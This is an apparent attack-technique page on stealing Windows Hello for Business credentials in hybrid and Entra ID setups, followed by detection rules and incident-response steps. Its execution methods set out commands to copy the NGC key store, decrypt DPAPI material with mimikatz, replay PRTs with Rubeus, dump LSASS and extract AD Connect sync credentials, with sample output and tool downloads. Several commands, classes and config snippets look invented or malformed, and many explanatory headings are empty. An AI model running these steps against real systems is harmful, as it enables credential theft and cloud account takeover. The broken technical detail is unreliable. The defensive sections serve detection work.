MCADDF

[WHFB-001]: Windows Hello for Business Credential Theft

Metadata

Attribute Details
Technique ID WHFB-001
MITRE ATT&CK v18.1 T1556.006 - Multi-Factor Authentication
Tactic Credential Access
Platforms Hybrid AD, Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Windows 10 21H2 - Windows 11 23H2+, Windows Server 2016-2025
Patched In N/A - Architectural issue requires redesign
Author SERVTEP – Artur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.2.1 Ensure ‘Accounts: Guest account status’ is set to ‘Disabled’
CIS Benchmark 5.3.1 Ensure ‘Enforce password history’ is set to ‘24 or more password(s)’
DISA STIG WN10-00-000015 Windows 10 systems must employ Windows Hello for Business
DISA STIG WN10-GE-000043 Local administrator accounts must not be used with Windows Hello for Business
CISA SCuBA SC-7(7) Require multi-factor authentication for remote access
NIST 800-53 AC-3 Access Enforcement
NIST 800-53 IA-2(1) Multi-Factor Authentication
NIST 800-53 SC-7 Boundary Protection
GDPR Art. 32 Security of Processing - Appropriate technical and organizational measures
DORA Art. 9 Protection and Prevention of Vulnerabilities
NIS2 Art. 21 Cyber Risk Management Measures - security measures for multi-factor authentication
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27001 A.9.4.2 Secure Log-on Procedures
ISO 27005 Risk Scenario Compromise of authentication credentials through local privileged access

3. TECHNICAL PREREQUISITES

Supported Versions:

Prerequisite Tools:

4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance - Verify WHfB Enrollment

# Check if Windows Hello is enrolled for current user
Get-LocalUser -Name $env:USERNAME | Get-LocalUserDetails

# Alternative: Check NGC container existence
Test-Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\" -ErrorAction SilentlyContinue

# Verify Entra ID/Hybrid enrollment
dsregcmd /status

What to Look For:

PowerShell Reconnaissance - Identify Enrollment Providers

# List enrolled credential providers for Windows Hello
Get-WmiObject -Namespace "\\.\root\wmi" -Class "Win32_BiometricMethodology"

# Check NGC database structure (requires admin)
Get-ChildItem -Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\" -Force -Recurse

What to Look For:

CLI Reconnaissance - Check Device Compliance

# Verify TPM presence and status
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object IsActivated_InitialValue, IsEnabled_InitialValue

# Check BitLocker status (protective measure)
manage-bde -status C:

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Local Administrator File Extraction & DPAPI Decryption (Windows)

Supported Versions: Windows 10 21H2+, Windows 11 22H2+, Server 2016-2025

Step 1: Verify Local Administrator Access & Identify Target User

Objective: Confirm elevated privileges and identify the target Windows Hello enrollment to extract

Command:

# Verify current privileges
[Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, User

# List all user SIDs with Windows Hello enrollment
Get-ChildItem -Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\" -Force | Select-Object Name

Expected Output:

Name                           User
----                           ----
DESKTOP\Administrator          S-1-5-21-3623811015-3361044348-30300820-500

Name
----
S-1-5-21-3623811015-3361044348-30300820-1013
S-1-5-21-3623811015-3361044348-30300820-1014

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Ngc Database & Key Material

Objective: Copy encrypted biometric database and key containers to attacker-accessible location

Command:

# Copy Ngc container to temp location (requires SYSTEM or Admin)
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\"
$TargetUser = "S-1-5-21-3623811015-3361044348-30300820-1013"  # Replace with actual SID

# Copy entire Ngc structure
Copy-Item -Path "$NgcPath" -Destination "C:\Temp\NGC_Backup\" -Recurse -Force

# Alternatively, extract specific user's keys
Copy-Item -Path "$NgcPath$TargetUser\Keys\" -Destination "C:\Temp\Keys_$TargetUser\" -Recurse -Force
Copy-Item -Path "$NgcPath$TargetUser\Protectors\" -Destination "C:\Temp\Protectors_$TargetUser\" -Recurse -Force

Expected Output:

Directory: C:\Temp\NGC_Backup\

Mode                 LastWriteTime         Length Name
----                 ---------------         ------ ----
d-r---          1/9/2025   11:30 AM                S-1-5-21-3623811015-3361044348-30300820-1013

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt DPAPI Keys & Extract PRT

Objective: Use compromised machine context to decrypt PRT and credential material

Command (Using mimikatz):

# Extract DPAPI masterkey and derive PRT decryption key
# Requires mimikatz with DPAPI module
mimikatz.exe

mimikatz # token::elevate
mimikatz # dpapi::masterkey /in:C:\Temp\Keys_SID\MasterKeys /sid:S-1-5-21-3623811015-3361044348-30300820-1013

# Output: Obtain the DPAPI masterkey
# Then decrypt PRT
mimikatz # token::setnt

Command (Using PowerShell - Native DPAPI):

# Load PRT from cache
$PrtPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$TargetUser\CacheData\"
$PrtFiles = Get-ChildItem -Path $PrtPath -Filter "*PRT*"

# Use DPAPI to decrypt (if user context permits)
[System.Security.Cryptography.DataProtectionScope]::CurrentUser | ForEach-Object {
    $dpapi = [System.Security.Cryptography.ProtectedData]::Unprotect(
        [System.IO.File]::ReadAllBytes($PrtFiles[0].FullName),
        $null,
        $_
    )
    [System.Text.Encoding]::UTF8.GetString($dpapi)
}

Expected Output:

masterkey:
  guid:     {12345678-1234-1234-1234-123456789012}
  provider: 00000000-0000-0000-0000-000000000000
  version:  2
  ciphertext (v2):
    algorithm: DPAPI_SYSTEM
    entropy:   {hex blob}
    salt:      {hex blob}
    
PRT Token Successfully Decrypted:
claims: {...}
oid: 2.16.840.1.101.3.6.1.4.1.33882.3.2

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Leverage Stolen Credentials for Cloud Access

Objective: Use extracted PRT to authenticate to Azure/M365 and maintain persistence

Command (Using Rubeus with extracted PRT):

# Import stolen PRT into current session
rubeus.exe prt /prt:{base64_encoded_prt_token} /nowrap

# Alternative: Request new token from Azure using stolen key material
rubeus.exe asktgt /user:{domain_user} /certificate:{stolen_cert} /domain:{domain} /dc:{dc_ip}

Command (Using Azure CLI with stolen credentials):

# Use stolen PRT to authenticate to Azure Portal
az login --use-device-code --tenant {tenant_id}

# Alternatively, use certificate-based authentication with stolen cert
az login --service-principal -u {app_id} --cert-file /tmp/stolen.cert --tenant {tenant_id}

Expected Output:

Successfully authenticated. Retrieving subscriptions...

{
  "cloudName": "AzureCloud",
  "homeTenantId": "33882988-1234-1234-1234-123456789012",
  "id": "12345678-1234-1234-1234-123456789012",
  "isDefault": true,
  "name": "Production",
  "state": "Enabled",
  "tenantId": "33882988-1234-1234-1234-123456789012",
  "user": {
    "name": "admin@company.com",
    "type": "user"
  }
}

What This Means:

METHOD 2: Live Memory Extraction via mimikatz (Windows 10/11)

Supported Versions: Windows 10 21H2+, Windows 11 22H2+

Step 1: Dump LSASS Process for Cached Credentials

Objective: Extract in-memory credentials and session tokens from LSASS

Command (Using mimikatz):

# Run mimikatz with SYSTEM privileges
mimikatz.exe

mimikatz # token::elevate
mimikatz # lsadump::secrets
mimikatz # sekurlsa::logonPasswords
mimikatz # sekurlsa::pth /user:{domain_user} /domain:{domain} /ntlm:{hash}

Command (Using PowerShell credential dump):

# Alternative: Use Get-Process to enumerate lsass and extract handles
$lsass = Get-Process -Name lsass
$lsass.Handles | Select-Object Name, Value

Expected Output:

Authentication Id : 0 ; 12345678 (0:bcdf35e)
Session           : Interactive from 2
User Name         : DOMAIN\Admin
Domain            : DOMAIN
Logon Server      : DC01
Logon Time        : 1/9/2025 11:15:45 AM
SID               : S-1-5-21-3623811015-3361044348-30300820-500

tspkg :
 * Username : admin@company.com
 * Domain   : DOMAIN
 * Password : (null)

wdigest :
 * Username : DOMAIN\Admin
 * Domain   : DOMAIN
 * Password : (null)

What This Means:

METHOD 3: Hybrid Sync Abuse - AD Connect Token Extraction

Supported Versions: Hybrid AD environments (Azure AD Connect 1.4.0+)

Step 1: Extract Azure AD Connect Sync Credentials

Objective: Compromise the service account used by AD Connect to extract hybrid identity tokens

Command:

# Locate Azure AD Connect installation
$AdcPath = "C:\Program Files\Microsoft Azure AD Sync\"

# Extract sync account credentials from registry (requires admin)
reg query "HKLM\Software\Microsoft\AD Sync\Setup\AdSyncAccountPassword" /s

# Or use mimikatz to extract DPAPI-protected credentials
mimikatz # dpapi::cred /in:"C:\Program Files\Microsoft Azure AD Sync\config\encrypted.config"

Expected Output:

  credentialVersion  : 1
  credentialType     : 0
  credentialGuid     : {sync-account-guid}
  credentialDomain   : company.com
  credentialUsername : ADSync_account
  credentialData     : {encrypted blob}

What This Means:

7. TOOLS & COMMANDS REFERENCE

Rubeus

Version: 1.6.4+ (as of 2025) Minimum Version: 1.5.0 Supported Platforms: Windows (C#/.NET 4.5+)

Installation:

# Download precompiled binary
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.4/Rubeus.exe" -OutFile "C:\Tools\Rubeus.exe"

# Or compile from source
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
msbuild Rubeus.sln /p:Configuration=Release

Usage (PRT Manipulation):

# Request new token using stolen key
Rubeus.exe asktgt /user:admin@company.com /certificate:C:\temp\stolen.cer /domain:company.com /dc:dc01.company.com

# Import PRT into session
Rubeus.exe prt /prt:{base64_token} /nowrap

# Retrieve current session tokens
Rubeus.exe klist

mimikatz

Version: 2.2.0-20230522 (as of 2025) Minimum Version: 2.1.0 Supported Platforms: Windows (x86/x64)

Installation:

Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230522/mimikatz_trunk.zip" -OutFile "C:\Tools\mimikatz.zip"
Expand-Archive -Path "C:\Tools\mimikatz.zip" -DestinationPath "C:\Tools\"

DPAPI Decryption:

mimikatz # dpapi::masterkey /in:C:\Temp\Keys\MasterKeys /sid:{user_sid}
mimikatz # dpapi::cred /in:C:\Temp\NGC_Backup\Credentials

DPAPI-NG Decoder

Version: Latest (2025) Supported Platforms: Linux, Windows (Python 3.8+)

Installation:

git clone https://github.com/synacktiv/dpapi-ng.git
cd dpapi-ng
pip install -r requirements.txt

Usage:

python3 dpapi-ng.py --decrypt --input C:\Temp\Keys --masterkey {master_key_hex}

8. SPLUNK DETECTION RULES

Rule 1: Suspicious Access to NGC Biometric Database

Rule Configuration:

SPL Query:

index=windows sourcetype="WinEventLog:Security" EventCode=4656 OR EventCode=4663
ObjectName="*\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\*"
| stats count by SubjectUserName, ObjectName, AccessMask
| where count > 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to Custom and configure: count > 1 in 5m
  6. Configure Action → Send email to SOC security team with alert details

False Positive Analysis:

Rule 2: DPAPI Decryption of Biometric Keys

Rule Configuration:

SPL Query:

index=windows sourcetype="WinEventLog:Security" (EventCode=4688 OR EventCode=4689)
(CommandLine="*dpapi*" OR CommandLine="*sekurlsa*" OR CommandLine="*mimikatz*")
AND (Image="*\\mimikatz.exe" OR CommandLine="*dpapi::*")
| stats count, values(CommandLine) by ProcessName, User
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Create a new scheduled alert (run every 5 minutes)
  2. Configure as above
  3. Set action to Create incident with Severity = High

9. MICROSOFT SENTINEL DETECTION

Query 1: NGC Biometric Database Access via Sensitive File Paths

Rule Configuration:

KQL Query:

let NGC_Paths = dynamic([
    @"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc",
    @"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Keys",
    @"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Protectors"
]);
DeviceFileEvents
| where FolderPath has_any (NGC_Paths)
| where ActionType in ("FileCreated", "FileModified", "FileDeleted")
| where InitiatingProcessAccountName != "SYSTEM" and InitiatingProcessAccountName != "LOCAL SERVICE"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, ActionType, FolderPath
| summarize FileEvents = count() by DeviceName, InitiatingProcessAccountName
| where FileEvents > 2

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: NGC Biometric Database Unauthorized Access
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "NGC Biometric Database Unauthorized Access" `
  -Query @"
let NGC_Paths = dynamic([
    @"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc",
    @"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Keys",
    @"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Protectors"
]);
DeviceFileEvents
| where FolderPath has_any (NGC_Paths)
| where ActionType in ("FileCreated", "FileModified", "FileDeleted")
| where InitiatingProcessAccountName != "SYSTEM" and InitiatingProcessAccountName != "LOCAL SERVICE"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, ActionType, FolderPath
| summarize FileEvents = count() by DeviceName, InitiatingProcessAccountName
| where FileEvents > 2
"@ `
  -Severity "High" `
  -Enabled $true

10. WINDOWS EVENT LOG MONITORING

Event ID: 4656 & 4663 (File Object Access & File Operations)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Enable: Audit File System and set to Success and Failure
  4. Enable: Audit Handle Manipulation and set to Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy - Server 2022+):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Double-click Audit File System
  4. Check: Configure the following audit events:
    • ☑ Success
    • ☑ Failure
  5. Click OK → Apply
  6. Restart the machine or run: 
    auditpol /set /subcategory:"File System" /success:enable /failure:enable

SACL Configuration for NGC Folder (Manual, via cmd):

REM Grant read/write audit events on NGC folder
icacls "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc" /audit:g Everyone:R
icacls "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc" /audit:g Everyone:W

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Windows Server 2016-2025

<Sysmon schemaversion="4.50">
  <EventFiltering>
    <!-- Detect access to NGC directories -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\</TargetFilename>
      <Image condition="exclude">svchost.exe</Image>
      <Image condition="exclude">System</Image>
    </FileCreate>
    
    <!-- Detect DPAPI decryption operations via mimikatz/Rubeus -->
    <ProcessCreation onmatch="include">
      <CommandLine condition="contains">dpapi</CommandLine>
      <Image condition="image">mimikatz.exe</Image>
    </ProcessCreation>
    
    <!-- Monitor for LSASS access via suspicious processes -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="image">lsass.exe</TargetImage>
      <SourceImage condition="exclude">winlogon.exe</SourceImage>
      <SourceImage condition="exclude">svchost.exe</SourceImage>
      <GrantedAccess condition="contains">0x1000</GrantedAccess>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config: 
    sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-List

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Process Accessing LSASS

Alert Name: “Process with suspicious name or from suspicious location tried to access LSASS”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Defender for Cloud Apps: ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Detection Alert: Suspicious Registry Modification

Alert Name: “Suspicious registry key modification detected”

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Suspicious Entra ID Token Requests

Search-UnifiedAuditLog -Operations "RequestToken", "GetAuthenticationToken" -StartDate (Get-Date).AddDays(-1) | Select-Object UserIds, Operations, ResultStatus, ObjectId

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

Manual Configuration Steps (Search Audit Logs):

  1. Go to Audit → Search
  2. Set Date range: Last 7 days
  3. Under Activities, search for: "Token", "Authentication", "Sign-in"
  4. Click Search
  5. Export results: Export → Download all results

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fixes)

# 1. Verify no local admins except essential accounts
Get-LocalGroupMember -Group "Administrators" | Where-Object { $_.ObjectClass -eq "User" }

# 2. Verify TPM is enabled
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object IsActivated_InitialValue, IsEnabled_InitialValue

# 3. Verify NGC audit is configured
icacls "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"

# 4. Verify Entra ID MFA policy is active
Get-AzureADPolicy | Where-Object { $_.DisplayName -like "*MFA*" }

# 5. Verify legacy auth is blocked
Get-AzureADPolicy | Where-Object { $_.DisplayName -like "*Legacy*" }

Expected Output (If Secure):

# Output 1: Only SYSTEM, Administrators (built-in), and critical service accounts
Name                 ObjectClass
----                 -----------
DESKTOP\Administrator User
DESKTOP\Service_Acct User

# Output 2: TPM enabled
IsActivated_InitialValue : True
IsEnabled_InitialValue   : True

# Output 3: SACL configured
(F) Everyone:(F:CI)(AD)

# Output 4: MFA policy exists
DisplayName            : Require MFA for All Users
State                  : Enabled

# Output 5: Legacy Auth blocked
DisplayName            : Block Legacy Authentication
State                  : Enabled

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command (Local):

    # Disconnect network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    
# Or force network isolation via firewall
New-NetFirewallRule -DisplayName "Isolate Device" -Direction Inbound -Action Block -Enabled $true

    Manual (Azure):

    • Go to Azure Portal → Virtual Machines → Select VM → Networking → Add inbound port rule → Deny All traffic

  2. Collect Evidence:

    Command:

    # Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
    
# Capture NGC directory
robocopy "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc" "C:\Evidence\NGC" /E /R:0
    
# Create memory dump of lsass
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
    
# Capture running processes and network connections
tasklist /v > C:\Evidence\tasklist.txt
netstat -anob > C:\Evidence\netstat.txt

    Manual:

    • Open Event Viewer → Right-click Security → Save All Events As → C:\Evidence\Security.evtx
    • Open Disk Management → Right-click affected disk → Properties → Enable Detailed Logging
    • Use Azure Portal → Virtual Machines → Capture to create VM snapshot

  3. Remediate:

    Command:

    # Kill suspicious processes
Stop-Process -Name "mimikatz" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "Rubeus" -Force -ErrorAction SilentlyContinue
    
# Delete extracted NGC files
Remove-Item -Path "C:\Temp\NGC_Backup" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "C:\Temp\Keys_*" -Recurse -Force -ErrorAction SilentlyContinue
    
# Reset all user passwords
Set-LocalUser -Name "admin" -Password (ConvertTo-SecureString "NewSecurePassword123!" -AsPlainText -Force)
    
# Force PRT revocation (Entra ID)
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -Filter "UserPrincipalName eq 'admin@company.com'").ObjectId

    Manual:

    • Go to Azure Portal → Entra ID → Users → Select Affected User → Revoke sessions
    • Reset affected user passwords in Entra ID and Active Directory
    • Re-enroll Windows Hello (delete existing enrollment and re-register biometrics/PIN)
    • Restore VM from clean backup if available
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker phishes credentials to gain initial foothold
2 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare or [PE-TOKEN-002] RBCD Attacker escalates to local admin or domain admin
3 Credential Access [WHFB-001] Current Step: Extract Windows Hello credential material
4 Lateral Movement [LM-AUTH-001] Pass-the-Hash or [LM-AUTH-004] Pass-the-PRT Attacker uses stolen PRT to authenticate to cloud services
5 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor or [CA-FORGE-001] Golden SAML Attacker establishes persistent cloud access
6 Impact Data Exfiltration via [CA-TOKEN-004] Graph API or Ransomware via [PE-POLICY-003] Azure Management Group Escalation Final objective: steal/encrypt sensitive data

17. REAL-WORLD EXAMPLES

Example 1: ERNW Research - Windows Hello Face-Swap Attack (2025)

Example 2: Microsoft Security Advisory - PIN Brute-Force (2022)

Example 3: CVE-2021-34466 - Facial Recognition Bypass (2021)

This site is open source. Improve this page.